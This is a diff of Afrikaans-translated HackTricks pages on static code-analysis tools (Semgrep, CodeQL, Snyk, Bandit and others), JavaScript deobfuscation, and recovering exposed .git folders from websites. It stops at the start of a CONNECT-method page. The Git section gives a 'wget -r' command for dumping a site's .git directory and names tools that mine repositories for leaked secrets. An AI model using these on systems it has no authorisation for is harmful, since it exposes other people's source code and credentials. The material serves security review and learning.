| Eksperimenteel | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### Vinnige Begin
#### Vinning Begin
{% code overflow="wrap" %}
```bash
@ -50,13 +51,13 @@ semgrep scan --config auto
```
{% endcode %}
Jy kan ook die [**semgrep VSCode-uitbreiding**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) gebruik om die bevindinge binne VSCode te kry.
Jy kan ook die [**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) gebruik om die bevindings binne VSCode te kry.
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
Daar is 'n installeerbare **gratis weergawe**.
#### Vinnige Begin
#### Vinning Begin
{% code overflow="wrap" %}
```bash
@ -80,7 +81,7 @@ sonar-scanner \
### CodeQL
Daar is 'n **installeerbare gratis weergawe** maar volgens die lisensie kan jy **slegs die gratis CodeQL weergawe in Open Source projekte gebruik**.
Daar is 'n **installeerbare gratis weergawe** maar volgens die lisensie kan jy **slegs die gratis codeQL weergawe in Open Source projekte gebruik**.
#### Installeer
@ -111,10 +112,10 @@ codeql resolve qlpacks #Get paths to QL packs
#### Vinnige Begin - Berei die databasis voor
{% hint style="success" %}
Die eerste ding wat jy moet doen is om die databasis voor te berei (skep die kodeboom) sodat die navrae later daaroor uitgevoer kan word.
Die eerste ding wat jy moet doen is om die **databasis voor te berei** (die kodeboom te skep) sodat die navrae later daaroor uitgevoer kan word.
{% endhint %}
* Jy kan codeql toelaat om outomaties die taal van die bewaarplek te identifiseer en die databasis te skep
* Jy kan codeql toelaat om outomaties die taal van die repo te identifiseer en die databasis te skep
{% code overflow="wrap" %}
```bash
@ -127,7 +128,7 @@ codeql database create /path/repo/codeql_db --source-root /path/repo
{% endcode %}
{% hint style="danger" %}
Dit **sal gewoonlik 'n fout veroorsaak** wat sê dat meer as een taal gespesifiseer was (of outomaties opgespoor is). **Kyk na die volgende opsies** om dit te reg te stel!
Dit **sal gewoonlik 'n fout veroorsaak** wat sê dat meer as een taal gespesifiseer is (of outomaties gedetecteer is). **Kontroleer die volgende opsies** om dit reg te stel!
{% endhint %}
* Jy kan dit **handmatig aandui** deur die **repo** en die **taal** ([lys van tale](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
@ -156,7 +157,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu
```
{% endcode %}
* Jy kan ook `codeql` toelaat om **alle tale vir jou te identifiseer** en 'n DB per taal te skep. Jy moet dit 'n **GITHUB\_TOKEN** gee.
* Jy kan ook `codeql` toelaat om **alle tale** vir jou te identifiseer en 'n DB per taal te skep. Jy moet dit 'n **GITHUB\_TOKEN** gee.
{% code overflow="wrap" %}
```bash
@ -168,13 +169,15 @@ export GITHUB_TOKEN=ghp_32849y23hij4...
codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo
## DBs will be created in /path/repo/codeql_db/*
```
#### Vinnige Begin - Analiseer die kode
{% endcode %}
#### Vinnige Begin - Ontleed die kode
{% hint style="success" %}
Nou is dit uiteindelik tyd om die kode te analiseer
Nou is dit uiteindelik tyd om die kode te ontleed
{% endhint %}
Onthou dat as jy verskeie tale gebruik het, **'n DB per taal** sou geskep gewees het in die pad wat jy gespesifiseer het.
Onthou dat as jy verskeie tale gebruik het, **'n DB per taal** in die pad wat jy gespesifiseer het, geskep sou gewees het.
{% code overflow="wrap" %}
```bash
@ -194,7 +197,9 @@ javascript-security-extended --sarif-category=javascript \
--sarif-add-baseline-file-info --format=sarif-latest \
--output=/tmp/sec-extended.sarif
```
#### Vinnige Begin - Geskript
{% endcode %}
#### Vinning Begin - Geskryf
{% code overflow="wrap" %}
```bash
@ -217,15 +222,15 @@ echo $FINAL_MSG
```
{% endcode %}
Jy kan die bevindinge visualiseer op [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) of deur die gebruik van die VSCode-uitbreiding [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer).
Jy kan die bevindinge visualiseer in [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) of deur die VSCode uitbreiding [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer).
Jy kan ook die [**VSCode-uitbreiding**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) gebruik om die bevindinge binne VSCode te kry. Jy sal steeds 'n databasis handmatig moet skep, maar daarna kan jy enige lêers kies en op `Right Click` -> `CodeQL: Run Queries in Selected Files` klik.
Jy kan ook die [**VSCode uitbreiding**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) gebruik om die bevindinge binne VSCode te kry. Jy sal steeds 'n databasis handmatig moet skep, maar dan kan jy enige lêers kies en op `Regsklik` -> `CodeQL: Run Queries in Selected Files` klik.
### [**Snyk**](https://snyk.io/product/snyk-code/)
Daar is 'n **installeerbare gratis weergawe**.
#### Vinnige Begin
#### Vinning Begin
```bash
# Install
sudo npm install -g snyk
@ -246,17 +251,17 @@ snyk container test [image]
# Test for IaC vulns
snyk iac test
```
Jy kan ook die [**snyk VSCode-uitbreiding**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) gebruik om bevindinge binne VSCode te kry.
U kan ook die [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) gebruik om bevindings binne VSCode te kry.
### [Insider](https://github.com/insidersec/insider)
Dit is **Oopbron**, maar lyk **ongeag**.
Dit is **Open Source**, maar lyk **onondersteun**.
#### Ondersteunde Tale
#### Gesteunde Tale
Java (Maven en Android), Kotlin (Android), Swift (iOS), .NET Volledige Raamwerk, C#, en Javascript (Node.js).
Java (Maven en Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C#, en Javascript (Node.js).
#### Vinnige Begin
#### Vinning Begin
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
@ -287,14 +292,14 @@ npm install -g pnpm
cd /path/to/repo
pnpm audit
```
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Statische sekuriteitskode-skandeerder (SAST) vir Node.js-toepassings aangedryf deur [libsast](https://github.com/ajinabraham/libsast) en [semgrep](https://github.com/returntocorp/semgrep).
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Statiese sekuriteitskode skandeerder (SAST) vir Node.js toepassings aangedryf deur [libsast](https://github.com/ajinabraham/libsast) en [semgrep](https://github.com/returntocorp/semgrep).
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090
# Upload a zip file with the code
```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Die doel van Retire.js is om jou te help om die gebruik van JS-biblioteekweergawes met bekende kwesbaarhede op te spoor.
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Die doel van Retire.js is om jou te help om die gebruik van JS-biblioteek weergawes met bekende kwesbaarhede te ontdek.
```bash
# Install
npm install -g retire
@ -304,11 +309,11 @@ retire --colors
```
## Electron
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Dit is 'n instrument om wanopsetlikhede en sekuriteitsantipatrone in Electron-gebaseerde toepassings te identifiseer.
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Dit is 'n hulpmiddel om miskonfigurasies en sekuriteitsanti-patrone in Electron-gebaseerde toepassings te identifiseer.
## Python
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit is 'n instrument wat ontwerp is om algemene sekuriteitskwessies in Python-kode te vind. Om dit te doen, verwerk Bandit elke lêer, bou 'n AST daarvan, en hardloop toepaslike invoegtoepassings teen die AST-node. Sodra Bandit klaar is met die skandering van al die lêers, genereer dit 'n verslag.
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit is 'n hulpmiddel wat ontwerp is om algemene sekuriteitskwessies in Python-kode te vind. Om dit te doen, verwerk Bandit elke lêer, bou 'n AST daaruit, en voer toepaslike plugins teen die AST-knope uit. Sodra Bandit klaar is om al die lêers te skandeer, genereer dit 'n verslag.
```bash
# Install
pip3 install bandit
@ -316,14 +321,14 @@ pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**veiligheid**](https://github.com/pyupio/safety): Safety toets Python afhanklikhede vir bekende sekuriteitskwessies en stel die regte regstellings vir opgespoorde kwessies voor. Safety kan op ontwikkelaar rekenaars, in CI/CD pyplyne en op produksie stelsels uitgevoer word.
* [**safety**](https://github.com/pyupio/safety): Safety kontroleer Python afhanklikhede vir bekende sekuriteitskwesies en stel die toepaslike herstelmaatreëls voor vir opgespoor kwesies. Safety kan op ontwikkelaarsmasjiene, in CI/CD pypelines en op produksiesisteme gedraai word.
```bash
# Install
pip install safety
# Run
safety check
```
* [~~**Pyt**~~](https://github.com/python-security/pyt): Nie onderhou nie.
* [~~**Pyt**~~](https://github.com/python-security/pyt): Nie onderhoude nie.
## .NET
```bash
@ -333,9 +338,7 @@ https://github.com/0xd4d/dnSpy
# .NET compilation
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs
```
## ROES
Rust is 'n veilige, mededingende programmeertaal wat geskep is deur Mozilla. Dit is baie gewild vir sy sterkte en betroubaarheid.
## RUST
```bash
# Install
cargo install cargo-audit
@ -347,18 +350,6 @@ cargo audit
cargo audit fetch
```
## Java
### FindBugs
FindBugs is 'n statiese bronanalise-instrument wat gebruik kan word om Java-bronkode te vind. Dit kan potensiële programmeerfoute, geheuelekasies en stileringsprobleme identifiseer.
### PMD
PMD is 'n bronkode-analise-instrument wat gebruik kan word om potensiële programmeerprobleme in Java-bronkode te identifiseer. Dit kan help om bronkode te verbeter deur die identifisering van sleutelareas vir verbetering.
### Checkstyle
Checkstyle is 'n raamwerk vir die implementering van statiese kode-analise om te verseker dat die Java-bronkode voldoen aan 'n spesifieke kodekonvensie. Dit kan help om konsistensie in die kodebasis te handhaaf en om potensiële programmeerfoute te verminder.
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -372,14 +363,14 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class
| Taak | Opdrag |
| --------------- | --------------------------------------------------------- |
| Voer Jar uit | java -jar \[jar] |
| Ontpak Jar | unzip -d \[uitvoer gids] \[jar] |
| Unzip Jar | unzip -d \[uitvoer gids] \[jar] |
| Skep Jar | jar -cmf META-INF/MANIFEST.MF \[uitvoer jar] \* |
| Base64 SHA256 | sha256sum \[lêer] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| Verwyder Ondertekening | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Verwyder van Jar | zip -d \[jar] \[lêer om te verwyder] |
| Ontkompilieer klas | procyon -o . \[pad na klas] |
| Ontkompilieer Jar | procyon -jar \[jar] -o \[uitvoer gids] |
| Kompilieer klas | javac \[pad na .java lêer] |
| Verwyder Ondertekening | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Verwyder uit Jar | zip -d \[jar] \[lêer om te verwyder] |
| Decompile klas | procyon -o . \[pad na klas] |
| Decompile Jar | procyon -jar \[jar] -o \[uitvoer gids] |
| Compile klas | javac \[pad na .java lêer] |
## Gaan
```bash
@ -389,7 +380,7 @@ https://github.com/securego/gosec
[Psalm](https://phpmagazine.net/2018/12/find-errors-in-your-php-applications-with-psalm.html) en [PHPStan](https://phpmagazine.net/2020/09/phpstan-pro-edition-launched.html).
### Wordpress Inproppe
### Wordpress Plugins
[https://www.pluginvulnerabilities.com/plugin-security-checker/](https://www.pluginvulnerabilities.com/plugin-security-checker/)
@ -399,73 +390,88 @@ https://github.com/securego/gosec
## JavaScript
### Ontdekking
### Discovery
1. Burp:
* Spider en ontdek inhoud
* Sitemap > filter
* Sitemap > klik met regterknoppie op domein > Betrokkenheidstools > Vind skripte
* Sitemap > regsklik op domein > Betrokkenheid gereedskap > Vind skripte
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <domein> |grep -i "\.js" |sort -u`
* `waybackurls <domain> |grep -i "\.js" |sort -u`
### Statische Analise
### Static Analysis
#### Ontminify/Verfraai
#### Unminimize/Beautify/Prettify
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
* Sien ook sommige van die gereedskappe genoem in 'Deobfuscate/Unpack' hieronder.
* Sien sommige van die gereedskap genoem in 'Deobfuscate/Unpack' hieronder ook.
#### Deobfuscate/Unpack
**Nota**: Dit mag dalk nie moontlik wees om heeltemal te deobfuscate nie.
**Nota**: Dit mag nie moontlik wees om volledig te deobfuscate nie.
1. Vind en gebruik .map-lêers:
* As die .map-lêers blootgestel word, kan hulle gebruik word om maklik te deobfuscate.
* Gewoonlik map foo.js.map na foo.js. Soek handmatig daarna.
1. Vind en gebruik .map lêers:
* As die .map lêers blootgestel is, kan hulle gebruik word om maklik te deobfuscate.
* Gewoonlik, foo.js.map kaart na foo.js. Soek hulle handmatig.
* Gebruik [JS Miner](https://github.com/PortSwigger/js-miner) om daarna te soek.
* Maak seker dat 'n aktiewe skandering uitgevoer word.
* Lees '[Wenke/Aantekeninge](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
* Indien gevind, gebruik [Maximize](https://www.npmjs.com/package/maximize) om te deobfuscate.
2. Sonder .map-lêers, probeer JSnice:
* Verseker dat 'n aktiewe skandering uitgevoer word.
* Lees '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
* As gevind, gebruik [Maximize](https://www.npmjs.com/package/maximize) om te deobfuscate.
2. Sonder .map lêers, probeer JSnice:
* Verwysings: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* Wenke:
* As jy jsnice.org gebruik, klik op die opsies-knoppie langs die "Nicify JavaScript" knoppie, en skakel "Infer types" af om die kode nie met kommentaar te oorlaai nie.
* Maak seker dat jy geen leë lyne voor die skripsie los nie, aangesien dit die deobfuscation-proses kan beïnvloed en onakkurate resultate kan gee.
4. Vir 'n paar meer moderne alternatiewe vir JSNice, kan jy na die volgende kyk:
* As jy jsnice.org gebruik, klik op die opsiesknoppie langs die "Nicify JavaScript" knoppie, en deselect "Infer types" om rommel in die kode met kommentaar te verminder.
* Verseker dat jy geen leë lyne voor die skrip laat nie, aangesien dit die deobfuscation proses kan beïnvloed en onakkurate resultate kan gee.
4. Vir 'n paar meer moderne alternatiewe tot JSNice, kan jy die volgende oorweeg:
* [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru)
* > Javascript-dekompiler, unpacker en unminify-gereedskap
> Wakaru is die Javascript-dekompiler vir moderne front-end. Dit bring die oorspronklike kode terug van 'n gebundelde en getranspileerde bron.
* > Javascript decompiler, unpacker en unminify toolkit
> Wakaru is die Javascript decompiler vir moderne frontend. Dit bring die oorspronklike kode terug van 'n gebundelde en getranspileerde bron.
* [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack)
* > Deobfuscate obfuscator.io, unminify en unpack gebundelde javascript
* [https://github.com/jehna/humanify](https://github.com/jehna/humanify)
* > Un-minify Javascript-kode met behulp van ChatGPT
> Hierdie gereedskap gebruik groot taalmodelle (soos ChatGPT & llama2) en ander gereedskappe om Javascript-kode te un-minify. Let daarop dat LLM's geen strukturele veranderinge aanbring nie - hulle verskaf net wenke om veranderlikes en funksies te hernoem. Die swaar ligging word deur Babel op AST-vlak gedoen om te verseker dat die kode 1-1-ekwivalent bly.
* > Un-minify Javascript kode met behulp van ChatGPT
> Hierdie gereedskap gebruik groot taalmodelle (soos ChatGPT & llama2) en ander gereedskap om Javascript kode te un-minify. Let daarop dat LLMs geen strukturele veranderinge maak nie hulle bied net leidrade om veranderlikes en funksies te hernoem. Die swaar werk word deur Babel op AST vlak gedoen om te verseker dat die kode 1-1 ekwivalent bly.
* [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html)
* > Gebruik van LLM's om JavaScript-veranderlike naamverkleining om te keer
* > Gebruik LLMs om JavaScript veranderlike naam minification te keer
3. Gebruik `console.log()`;
* Vind die terugvoerwaarde aan die einde en verander dit na `console.log(<packerReturnVariable>);` sodat die deobfuscated js afgedruk word in plaas van uitgevoer te word.
* Plak dan die gewysigde (en steeds geobfuskeerde) js in [https://jsconsole.com/](https://jsconsole.com/) om die deobfuscated js gelog na die konsole te sien.
* Plak uiteindelik die deobfuscated uitset in [https://prettier.io/playground/](https://prettier.io/playground/) om dit te verfraai vir analise.
* **Nota**: As jy steeds verpak (maar verskillende) js sien, kan dit herhaaldelik verpak wees. Herhaal die proses.
* Vind die terugkeerwaarde aan die einde en verander dit na `console.log(<packerReturnVariable>);` sodat die deobfuscated js gedruk word in plaas van uitgevoer te word.
* Plak dan die gewysigde (en steeds obfuscated) js in [https://jsconsole.com/](https://jsconsole.com/) om die deobfuscated js in die konsole te sien.
* Laastens, plak die deobfuscated uitvoer in [https://prettier.io/playground/](https://prettier.io/playground/) om dit te beautify vir analise.
* **Nota**: As jy steeds gepakte (maar verskillende) js sien, mag dit herhalend gepak wees. Herhaal die proses.
#### Verwysings
#### References
* [YouTube: DAST - Javascript Dinamiese Analise](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
* [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
* [devalias](https://twitter.com/_devalias)'s [GitHub Gists](https://gist.github.com/0xdevalias):
* [Deobfuscating / Unminifying Obfuscated Web App Code](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Reverse Engineering Webpack Apps](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [ens](https://gist.github.com/search?q=user:0xdevalias+javascript)
* [etc](https://gist.github.com/search?q=user:0xdevalias+javascript)
#### Gereedskappe
#### Tools
* [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
#### Minder Gebruikte Verwysings
#### Less Used References
* [https://cyberchef.org/](https://cyberchef.org/)
* [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier)
* [https://jshint.com/](https://jshint.com/)
* [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,49 @@
# Git
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Om 'n .git-vouer van 'n URL te dump, gebruik** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Om 'n .git gids vanaf 'n URL te dump, gebruik** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Gebruik** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **om die inhoud te ondersoek**
As 'n _.git_-gids gevind word in 'n webtoepassing, kan jy al die inhoud aflaai deur _wget -r http://web.com/.git_ te gebruik. Dan kan jy die veranderinge sien deur _git diff_ te gebruik.
As 'n _.git_ gids in 'n webtoepassing gevind word, kan jy al die inhoud aflaai met _wget -r http://web.com/.git._ Dan kan jy die veranderinge sien deur _git diff_ te gebruik.
Die gereedskap: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) en [GitTools](https://github.com/internetwache/GitTools) kan gebruik word om die inhoud van 'n git-gids te herwin.
Die gereedskap: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) en [GitTools](https://github.com/internetwache/GitTools) kan gebruik word om die inhoud van 'n git gids te herwin.
Die gereedskap [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) kan gebruik word om te soek na CVE's en sekuriteitskwesbaarheidsboodskappe binne in toewydingsboodskappe.
Die gereedskap [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) kan gebruik word om CVEs en sekuriteitskwesbaarheidsboodskappe binne verbinteningsboodskappe te soek.
Die gereedskap [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) soek na sensitiewe data in die opgaarplekke van 'n organisasie en sy werknemers.
Die gereedskap [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) soek na sensitiewe data in die repositories van 'n organisasie en sy werknemers.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) is 'n opdraggelyngebaseerde gereedskap wat geskryf is met 'n enkele doel: om jou te help om GitHub-geheime te ontdek wat ontwikkelaars per ongeluk gemaak het deur sensitiewe data te stuur. En soos die ander, sal dit jou help om wagwoorde, private sleutels, gebruikersname, tokens en meer te vind.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) is 'n opdraglyn-gebaseerde gereedskap wat geskryf is met 'n enkele doel: om jou te help om GitHub geheime te ontdek wat ontwikkelaars per ongeluk gemaak het deur sensitiewe data te druk. En soos die ander, sal dit jou help om wagwoorde, privaat sleutels, gebruikersname, tokens en meer te vind.
[TruffleHog](https://github.com/dxa4481/truffleHog) deursoek GitHub-opgaarplekke en deursoek die toewydingsgeskiedenis en takke, op soek na per ongeluk geplaasde geheime
[TruffleHog](https://github.com/dxa4481/truffleHog) soek deur GitHub repositories en delf deur die verbinteningsgeskiedenis en takke, op soek na per ongeluk gecommitteerde geheime.
Hier kan jy 'n studie oor GitHub-dorks vind: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
Hier kan jy 'n studie oor github dorks vind: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CONNECT-metode
## CONNECT metode
In die Go-programmeertaal is dit 'n algemene praktyk om HTTP-versoeke te hanteer, spesifiek met behulp van die `net/http`-biblioteek, om die versoekpad outomaties na 'n gestandaardiseerde formaat om te skakel. Hierdie proses behels:
